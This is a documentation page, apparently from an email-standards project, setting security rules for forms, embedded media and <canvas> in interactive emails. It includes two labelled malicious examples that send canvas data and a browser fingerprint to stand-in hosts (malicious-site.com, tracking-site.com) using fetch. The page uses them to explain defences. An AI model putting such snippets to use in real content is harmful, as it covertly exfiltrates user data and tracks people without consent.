Read the Docs
Interactive & Media
  • Home
  • Interactive Elements and Media Content

Introduction

Integrating interactive and dynamic content into emails has the potential to enhance user engagement by bringing web-like experiences directly into the inbox. Leveraging technologies such as JavaScript and modern HTML elements, we can create emails that respond to user actions and offer personalized experiences. However, it's critical to balance innovation with caution, ensuring that all interactive elements adhere to security standards, are compatible with a wide range of email clients, and prioritize user privacy.

Allowed Form Elements and Restrictions

While some elements are restricted for security reasons, others, such as form elements, are allowed with specific limitations to ensure both functionality and user safety. By allowing standard form-related elements like <form>, <input>, <select>, and <textarea>, emails can support a wide range of functionality. However, the form input type explicitly prohibited is <input type="password">, as handling sensitive data like passwords requires a more secure environment than email can provide.

Allowed Elements
  • <form>: Provides the structure for user input collection, including action and method attributes. Forms must be submitted using approved JavaScript libraries to ensure secure and standardized implementation. Alternatively, the target="_blank" attribute can be used to process submissions in a new window. The GET method is not allowed, and forms must use method="post" to ensure secure data submission.
  • <input type="text">, <input type="email">, <input type="radio">, <input type="checkbox">, <input type="file">: Input fields that handle standard data collection, such as text input, email addresses, multiple-choice selections, and file uploads (though file uploads may be stripped by some email clients).
  • <select>, <option>, <textarea>: Elements that enable users to choose from dropdown menus or provide longer text-based feedback.
Restricted Elements
  • <input type="password">: Password fields are explicitly restricted to prevent phishing attempts or the collection of sensitive data. Email clients are not designed to handle login functionality or the secure collection of sensitive credentials.
  • <input type="search">, <search>: Search fields and search-related form structures are disallowed due to their limited functionality in email contexts and the lack of meaningful utility within email clients. Their use may introduce misleading behaviors or unnecessary complexity.
Security and Implementation Guidelines
  • Use of HTTPS: Ensure all form submissions are sent over encrypted connections to avoid man-in-the-middle attacks.
  • Submit to New Window: If JavaScript is not used, form submissions should be processed in a new window using the target="_blank" attribute. This prevents redirection within the email and preserves the user's interaction with the email itself.
  • Dynamic Element Creation: Blocking JavaScript functions or techniques that attempt to insert password fields into the DOM.
  • Form Method: Only the POST method should be used for form submissions to ensure data is not exposed in the URL.
  • File Uploads: While file uploads may be allowed, email clients may strip this functionality for security reasons. Developers should provide fallback options if needed.
  • Time-Limited Forms: Implement form expiration using JSON Web Tokens (JWTs) or similar mechanisms to include timestamps in form submissions. This ensures that forms cannot be submitted after a specified period, mitigating the risk of unauthorized or delayed submissions.

Restricted Embedded External Elements

The <iframe>, <embed>, and <object> elements offer capabilities for embedding external content within emails, such as multimedia, third-party widgets, or interactive components. However, these elements pose significant security and privacy risks, making them unsuitable for the Open Email Standards framework.

Risks of Embedded Elements
  • Malicious Content Injection: These tags can load external resources, potentially allowing attackers to inject malicious scripts, execute unauthorized code, or distribute malware.
  • Unauthorized Tracking: Embedded content may contain tracking mechanisms that collect user data without consent, violating privacy standards and exposing sensitive information.
  • Cross-Origin Exploitation: Allowing external domains to load content increases the risk of cross-origin attacks, where embedded elements communicate with untrusted servers, compromising the email client or user data.
Restricted Elements and Safer Alternatives
  • Prohibited Elements: <iframe>, <embed>, <object>, and <param> are disallowed due to their potential to load malicious third-party content, enable phishing attacks, and exploit email client vulnerabilities such as XSS and unauthorized data collection.
  • Compliance Measures: Email clients must automatically strip <iframe>, <embed>, and <object> elements during processing to ensure security.
  • Safer Alternatives: Developers are encouraged to use the <embed-email> tag , which provides secure embedding with controlled attributes and enhanced safety mechanisms.

Considerations for Allowing <audio> and <video>

Open Email Standards do not impose explicit restrictions on the use of <audio> and <video> tags in emails. However, it is recommended to strip them out and use the custom <embed-email> tag to ensure better control and security. In cases where email clients allow these elements, it is crucial to implement safeguards to mitigate potential risks associated with embedding media content directly.

Source Verification
  • Trusted Domains Only: Media files specified in <source> tags should be loaded only from secure, verified sources, with domains managed by each email client based on their security policies.
  • HTTPS Enforcement: Require all media URLs to use HTTPS to ensure encrypted transmission and reduce the risk of interception or tampering.
User Control Over Playback
  • Disable Auto-Play: Media should not play automatically; users must initiate playback to prevent unexpected audio or video.
  • Clear Controls: Provide accessible play, pause, and volume controls to ensure user-friendly interaction.
Fallback Content
  • Alternative Text: Use the alt attribute or text alternatives to convey the same information if the media doesn't load.
  • Poster Images for Videos: Email clients should generate thumbnails for external videos without CORS restrictions.
Privacy Compliance
  • Transparent Policies: Inform users about any data collection associated with media playback and obtain consent if necessary.
  • Respect Privacy Settings: Ensure that embedded media respects user privacy settings, such as ‘Do Not Track,’ as external content may contain tracking mechanisms from the media host.
Accessibility and Subtitles
  • Subtitles and Captions: Support for subtitles and captions via <track> elements can enhance accessibility, allowing users with hearing impairments to understand the media content. Subtitles should be an optional feature and must adhere to strict security protocols.
  • Source Verification for Subtitles: To prevent tracking or malicious activity, subtitle files should only be allowed from pre-approved, trusted domains. Additionally, all subtitle URLs must use HTTPS for secure transmission, and email clients should validate subtitle files to ensure they contain no executable or unauthorized content.
  • Privacy and Tracking Mitigation: Subtitles must comply with privacy standards, ensuring no embedded tracking mechanisms. If external subtitles are permitted, email clients should anonymize requests or provide a secure proxy to prevent tracking.

Considerations for Allowing <canvas>

Open Email Standards do not explicitly prohibit the use of the <canvas> tag in emails. However, it is recommended to restrict its use or apply strict security measures to ensure better control and reduce potential vulnerabilities. The <canvas> element may be allowed for static rendering purposes but must not interact with the user or transmit data to external sources. Email clients may choose to restrict or fully prohibit <canvas> based on their security policies.

Allowed Use Cases

The <canvas> element is allowed strictly for static, predefined visuals. No dynamic user interactions, input processing, or data collection are permitted. All rendering must rely on pre-approved libraries and adhere to the following restrictions:

  • Static Rendering Only: <canvas> may be used to render predefined, non-interactive visual elements such as charts, banners, or infographics.
  • No User Interaction: The <canvas> element may handle clicks to trigger predefined rendering but must not process inputs or transmit data.
  • Pre-Approved Scripts: Scripts rendering graphics on <canvas> must originate from verified and trusted libraries, ensuring compliance with Open Email Standards.

Example 1: Integrating <canvas> using Vue.js

<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
<div id="app"><canvas id="myCanvas" width="200" height="100"></canvas></div>
<script>
  new Vue({
    el: '#app',
    mounted() {
      const c = document.getElementById('myCanvas').getContext('2d');
      c.fillStyle = "#F00"; c.fillRect(20, 20, 150, 75);
    }
  });
</script>

Example 2: Non-Interactive Chart

<!-- Load Vue.js from a trusted CDN -->
<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>

<!-- Load Chart.js library for creating charts -->
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>

<div id="chart-app">
  <!-- Canvas element for rendering the chart -->
  <canvas id="chartCanvas" width="400" height="200" style="border:1px solid #ccc;">
    Your email client does not support the canvas element.
  </canvas>
</div>

<script>
  new Vue({
    el: '#chart-app', // Mount Vue.js to the chart container
    mounted() {
      const ctx = document.getElementById('chartCanvas').getContext('2d');
      
      // Initialize a bar chart using Chart.js
      new Chart(ctx, {
        type: 'bar', // Specify chart type
        data: {
          labels: ['January', 'February', 'March'],
          datasets: [{
            label: 'Sales', // Dataset label
            data: [10, 20, 30], // Data values
            backgroundColor: ['#FFCC00', '#FF9900', '#FF6600']
          }]
        },
        options: {
          responsive: true, // Ensure the chart is responsive
          maintainAspectRatio: false
        }
      });
    }
  });
</script>

Example 3: Malicious Code Example (Unauthorized Data Collection)

While raw JavaScript is not allowed in Open Email Standards, this example illustrates how malicious scripts could exploit <canvas> to collect data without user consent. This code is provided for educational purposes to highlight potential risks.

<canvas id="captureCanvas" width="400" height="200">
  Your email client does not support the canvas element.
</canvas>
<script>
  const canvas = document.getElementById('captureCanvas');
  const ctx = canvas.getContext('2d');
  ctx.fillText('User Email: john.doe@example.com', 10, 50);

  // Malicious code to extract rendered text as an image
  const imageData = canvas.toDataURL(); 
  fetch('http://malicious-site.com/steal-data', {
    method: 'POST',
    body: JSON.stringify({ data: imageData }),
  });
</script>
Restricted Use Cases
  • Prohibited Data Operations: Methods such as toDataURL(), fetch, or XMLHttpRequest must not be used with <canvas> elements in email content, as they can lead to unauthorized data transmission.
  • Dynamic User Interaction: Any functionality that allows users to interact with <canvas> (e.g., drawing or submitting inputs) is strictly disallowed.
  • Dynamic Creation: The use of document.createElement('canvas') to dynamically generate <canvas> elements is prohibited. All <canvas> elements must be defined statically in the email content.

Example 4: Malicious Code Example (Tracking via Fingerprinting)

Malicious actors could use <canvas> for browser fingerprinting by rendering specific patterns and analyzing the way browsers display the content.

<canvas id="fingerprintCanvas" width="400" height="200"></canvas>
<script>
  const canvas = document.getElementById('fingerprintCanvas');
  const ctx = canvas.getContext('2d');
  ctx.fillStyle = '#FF5733';
  ctx.fillRect(10, 10, 100, 100);

  // Generate a unique fingerprint
  const fingerprint = canvas.toDataURL();
  fetch('http://tracking-site.com/fingerprint', {
    method: 'POST',
    body: JSON.stringify({ fingerprint }),
  });
</script>
Privacy Compliance

To maintain transparency and user trust, <canvas> usage must align with the following privacy principles:

  • No Data Collection Without Consent: <canvas> must not collect or transmit user data (e.g., interactions or rendered content) without explicit user consent. Email clients should enforce this restriction.
  • Transparent Usage Policies: If <canvas> is used for any purpose other than rendering static visuals, such as monitoring rendering or device capabilities, clear disclosures must be provided to users.
  • Respect for Browser Privacy Settings: <canvas> elements must adhere to user-configured browser privacy preferences, ensuring compliance with options like 'Do Not Track'.
Best Practice Recommendations
  • Source Verification: All scripts and resources associated with <canvas> must come from pre-approved and secure sources. Only trusted content delivery networks (CDNs) and libraries may be used.
  • HTTPS Enforcement: All linked resources, including scripts and assets for <canvas>, must use HTTPS to ensure secure transmission and prevent man-in-the-middle attacks.
  • Privacy Safeguards: Email clients must block the use of methods such as toDataURL() to prevent unauthorized access to rendered data. Additionally, <canvas> must respect browser privacy settings.
  • Manual Rendering Only: Rendering on <canvas> may occur automatically during email load or via explicit user actions (e.g., clicks or gestures). These actions must not involve data transmission or compromise security.
  • Fallback Content: Provide alternative text or fallback content for scenarios where <canvas> is not supported by the email client, ensuring accessibility and compatibility.